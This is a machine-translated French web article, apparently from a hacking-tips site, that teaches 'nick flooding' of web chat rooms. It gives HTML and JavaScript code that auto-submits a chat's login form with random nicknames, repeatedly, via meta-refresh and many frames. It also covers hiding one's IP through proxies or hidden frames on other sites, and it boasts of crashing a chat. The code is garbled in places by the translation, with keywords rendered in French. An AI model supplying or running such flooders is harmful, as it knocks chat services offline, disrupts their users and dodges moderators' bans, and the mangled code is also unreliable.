This page has been robot translated, sorry for typos if any. Original content here.

Anti-chat ou nick flooding Partie 1

Continuation >>>


Continuant le thème de FA, nous avons décidé d'écrire un autre article, qui correspond maintenant exactement à son titre. Attention: utilisez-le uniquement pour lutter contre les administrateurs «gelés» qui, par fainéant ou pour montrer leurs capacités, sont expulsés du chat pour quelque raison que ce soit également. N'utilisez pas cet outil dans les salles de conversation, dans quel endroit vous êtes aliéné communiquer normalement; vous ne laisserez personne vous parler , car un nombre impressionnant de "personnes" différentes entreront dans le chat, et il y en aura tellement que vous ne pouvez pas exprimer dans le chat ... En d'autres termes, c'est "Nick Flooding" ou remplissez le chat avec des visiteurs inexistants.

Nous sauvegardons la page de démarrage sur le disque.
Pour mettre en œuvre, vous aurez besoin d'une discussion avec une entrée sans inscription, ainsi que d'un peu de connaissance de html (bien que ce soit). Nous sauvegardons la page de démarrage du chat, c'est là que l'on dit "Entrez votre pseudo"

Le code est à ce sujet

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi méthode = nom de poste = "chat_x" > - où les données sont envoyées
Entrez votre pseudo: <input type = text name = Nick > - Ici vous entrez un surnom
<INPUT name = type de couleur = valeur cachée = rouge> - peinture
<INPUT type = submit value = "Démarrer !!!" > - bouton

..................... </ html> </ body>

Et ça a l'air dans le navigateur: Entrez votre pseudo

Si vous avez une page de démarrage chargée en tant que cadres, c'est-à-dire vous pouvez déjà voir le message, en bas est écrit "Entrez votre pseudo" (généralement le cadre le plus bas) vous devez cliquer là (ci-dessous), cliquez droit aussi "Voir comme html" là aussi vous verrez que dans le cas principal, il est possible que le code devienne plus compliqué.

Si vous êtes capable de travailler avec le chat à partir du disque, il est également possible dans ce chat, alors le code du cadre inférieur après la première phrase prononcée sera le suivant:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi méthode = nom de poste = "chat_x" > - où les données sont envoyées
<input type = nom caché = Nick value = Votre surnom> - pseudo (il ne peut pas être vu du tout)
<INPUT name = type de couleur = valeur cachée = rouge> - couleur
Entrez la phrase <INPUT TYPE = TEXT name = say size = "24"> - le champ de saisie de la phrase
<INPUT type = submit value = "Dites !!!" >

..................... </ html> </ body>

Si cette discussion se trouve sur http://www.domen.ru, alors dans la ligne <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> nous enregistrons aussi cette adresse: <FORM action = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> maintenant exécutez ce fichier, nous allons aussi de discuter, name = " chat_x " peut être absent, alors le temps est autorisé à l'ajouter vous-même. Au lieu de chat_x, on peut aussi parler d'ami. Si vous pouvez entrer dans le chat à partir de ce fichier, passez aux éléments suivants.

La première fonctionnalité: générer "Discussion des visiteurs"

Si nous utilisons un surnom pour nos objectifs, alors il ne s'étire pas plus de 2-3 phrases ... seront rejetées. Il est donc nécessaire que le surnom ait toujours toujours été différent pour que cela nous aide le script Java (vous n'avez pas besoin de le savoir, il suffit de mettre vos chiffres) Math.floor (Math.random () * 100000000)

Un exemple est affiché en cliquant sur le bouton:


Explication: L'objet mathématique Math: Math.random () génère un nombre de 0 à 1, puis ce nombre est arrondi à l'aide de Math.floor () et doit donc être multiplié par un entier tel que 10, puis un nombre compris entre 0 et 9, si multiplié par 100, puis jusqu'à 99, si multiplié par 1000, puis jusqu'à 999 également. c'est à dire la longueur du nombre résultant, est inférieur ou égal au nombre de zéros, y compris le nombre multiplié par .... crêpe, lui-même est déjà confus Souris heureux )) Dans l'exemple (voir ci-dessous), ce nombre est 100000000 causant que nous aurons un nombre aléatoire, ce sera un surnom ...
Pour que ce numéro corresponde au nickname, nous le mettons dans le démarrage de la page, c'est-à-dire dans la balise <body>, ce sera plus tard: document <body onload = " chat_x .nick .value = (Math.floor (Math.random () * 1000000)) "> attention au nom du formulaire (voir l'exemple du code html ci-dessus, il est surligné en jaune), cela est nécessaire pour s'assurer que le nombre aléatoire est entré dans la forme souhaitée également dans le champ requis.

Une autre caractéristique: Envoi de "visiteurs" à la discussion.

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document.Tchat_x .submit ())", 1000);
}
</ script>

Ce script, pour ainsi dire, "appuie" sur le bouton "Soumettre" et envoie des données du formulaire avec le nom chat_x, dans le chat ce bouton peut être appelé "Enter Chat" ou "Say", il fonctionne avec un retard de 1000 ms. (plus tard, vous pouvez mettre 100), mais ensuite les données sont envoyées automatiquement, mais pour cela, vous devez enregistrer la fonction submit submit () à la page de démarrage de notre page. dans le <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit () " maintenant, lorsque la page est chargée, un nombre aléatoire est sélectionné, puis il est écrit dans le formulaire chat_x dans pseudo de champ. aussi des données du formulaire chat_x envoyé au serveur, il s'avère que le chat est allé à des personnes avec un surnom sous la forme de plusieurs numéros.

Un exemple de code html d'un simple floodeur de chat

<HTML> <HEAD> <TITLE> Flooder de chat </ TITLE>

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document.Tchat_x .submit ())", 1000);
}
</ script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document.Chat_x.Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = nom du post = " chat_x ">
<nom d'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom de l'entrée = type de pseudo = texte>
<INPUT type = submit value = " Démarrer !!! ">
</ BODY> </ HTML>

La dernière ... personnellement inondée

Pour ce faire, mangez trois façons.

1.Créer un fichier contenant une paire de cadres, dans un fichier, qui lors du téléchargement crée un surnom l'envoie également au chat, appelez-le forma.htm, mais dans un autre cadre tout autre fichier que j'ai dans l'échantillon est yo.htm. Et enregistrez-le avec le nom frames.htm Le code de ce document sera:

Le contenu du fichier frames.htm

<html> <head> <title> Flooder de chat </ title> </ head>
<frameset rows = "*, 100">
<frame name = "principal" src = " forma.htm ">
<frame name = " envoyer " src = " yo.htm ">
<noframes> <corps>
<p> Cette page utilise des cadres, mais votre navigateur ne les supporte pas. </ p>
</ body> </ noframes> </ frameset>

Le nom de la trame d' envoi a été spécialement affecté, car les données lui seront envoyées afin que le fichier forma.htm ne soit pas déchargé après le téléchargement. Ensuite, dans le code forma.htm, ajoutez ce qui suit: dans la balise <FORM action = ..... target = " send "> et dans la ligne source de la ligne: <meta http-equiv = "Refresh" content = "1"> pour que le fichier lui-même mis à jour chaque seconde et définir Timer = 0. Qu'est-il arrivé: Le fichier est mis à jour envoie également à la conversation du visiteur, il peut être vu dans le cadre avec le nom SEND ie. Au lieu du fichier yo.htm, un chat apparaît, puis forma.htm est mis à jour encore et encore envoie le chela nouvellement créé au chat, est également mis à jour encore, et encore le chat va nouveau ... donc vers le bas à l'infini :) Le taux de rafraîchissement est basé sur la vitesse de connexion.

Exemple du contenu du fichier forma.htm

<HTML>
<HEAD> <TITLE> Flooder de chat </ TITLE>
<meta http-equiv = "Actualiser" content = " 1 ">
<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document.Tchat_x .submit ())", 0 );
}
</ script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document.Chat_x.Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi méthode = nom de poste = " chat_x " target = " send ">
<nom d'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom de l'entrée = type de pseudo = texte>
<nom d'entrée = type de mot de passe = valeur cachée = "">
<INPUT type = submit value = " Démarrer !!! ">
</ BODY> </ HTML>

2 Méthode. D'abord nous faisons 4 fichiers qui différeront seulement dans le délai lors de l'envoi d'un fichier image dans lequel il y aura par exemple 16 (!) Cadres, dans les quatre premiers le premier fichier, dans Timer = setTimeout ("(document.chat_x.submit ())", 1000 ) Dans les quatre autres cadres, le deuxième fichier est chargé dans lequel le délai est de 10.000. Dans le troisième quatre, 30 000. Eh bien, dans le quatrième quatre, le quatrième fichier sera chargé avec un retard de 40 000. chaque 10.000 ms sera visité par 4 "personnes" et tous différents, mais ils seront sous la forme de chiffres, mais c'est la poubelle ... Si vous avez utilisé le formulaire de connexion, tous vont "entrer" dans le chat, mais si le formulaire il est permis d'entrer comme un message un paragraphe du texte, à ce moment chaque surnom généré commencera à parler ... Expérimentez, essayez d'autres variantes avec des cadres ...

Il ne reste plus qu'à cacher votre adresse IP, il est permis d'utiliser A4Proxy , de composer une liste importante de serveurs ....

3 Méthode. Si vous avez un site à manger, alors vous êtes autorisé à placer ces fichiers dessus, par exemple, dans un cadre caché, alors que l'adresse IP sera toujours différente ...

Récupérer le chat :)

Les chats utilisant le système des ordinateurs privés sont disposés de manière à être "en ligne" avec l'ordinateur de l'utilisateur sans interruption. constamment générer pour lui le flux de messages, garder une trace de s'il n'a pas encore déconnecté, même si les utilisateurs font beaucoup de choses alors le chat ne peut pas résister à la "chute". Donc, maintenant nous étions dans une discussion qui peut supporter un maximum de 70 personnes, alors ça ne fonctionne plus, même si la page de démarrage est aussi chargée ... Il n'était pas difficile de faire un chat manuellement, il fallait juste créer un pseudo chat, une minute après le lancement de ce fichier, dans le chat à l'existant 23-m il y avait ajouté environ 50 personnes :) ) Aussi il tombe (j'ai utilisé un fichier de beaucoup d'images, dans lequel il y avait aussi un fichier bla bla) et il faut noter que nous étions dans le club mais il y avait une vitesse impressionnante aussi des ordinateurs puissants :) . Peut aussi avec le modem, aussi, il s'avère (comme être d'accord avec quelqu'un immédiatement pour commencer), ou d'abord l'essayer moi-même, je ne sais pas ... N'oubliez pas que le chat se connecte aussi des admins après cela peut sembler vouloir voir ce que c'était :) Maintenant, l'accès à partir de l'adresse IP du club Internet "GeForce" dans ce chat est fermé :)

FAQ: Si ça ne marche pas du tout

FlooDer : Je ne peux rien faire :)
Essayez d'abord de discuter avec le disque, c'est-à-dire à partir du formulaire d'entrée stocké sur la vis, si tout s'est avéré, puis l'erreur dans le code "script-flooder" :) , si ça n'a pas marché, alors lisez la suite ...

FlooDer : Je viens du disque, maintenant je ne peux plus envoyer les données :) quoi faire?
Vérifier l'exactitude du nom des formulaires (name = XxXxX)

FlooDer : Dans la ligne <FORM action = http: //www.***.ru/chat.cgi method = post> commun pas de nom = "XxXxX" , que faire?
Insérer lui-même: (name = "chat_x" target = "envoyer") target- pour que les données soient envoyées à l'image d'envoi, cela fonctionne comme ceci: <FORM action = http: //www.***.ru/chat.cgi method = nom = "chat_x" target = "envoyer ">

FlooDer: Lorsque vous entrez dans le chat, vous devez entrer un mot de passe, ce n'est pas grave si aucun pseudo n'est enregistré, comment l'écrire dans le code?
Dans le formulaire pour entrer le mot de passe vous devez ajouter: value = "abrakadabra" alors ce mot de passe sera rejoint par tous les "utilisateurs" générés

Continuation >>>

Il ne sera pas superflu pour vos amis de connaître cette information, de partager leur article avec eux!

Développer / Réduire Développer / Réduire la boîte avec des commentaires

Commentaires

En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments des personnes réelles, montrer du respect et de la tolérance à vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans les conditions de la liberté d'expression. non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
Maintenant tout le monde peut publier des articles
Essayez-le d'abord!
Ecrire un article
J'ai aimé ça? Abonnez-vous aux nouvelles RSS ,
être le premier à recevoir des informations
à propos de tous les événements importants du pays et du monde.
Vous pouvez également soutenir shram.kiev.ua, cliquez sur: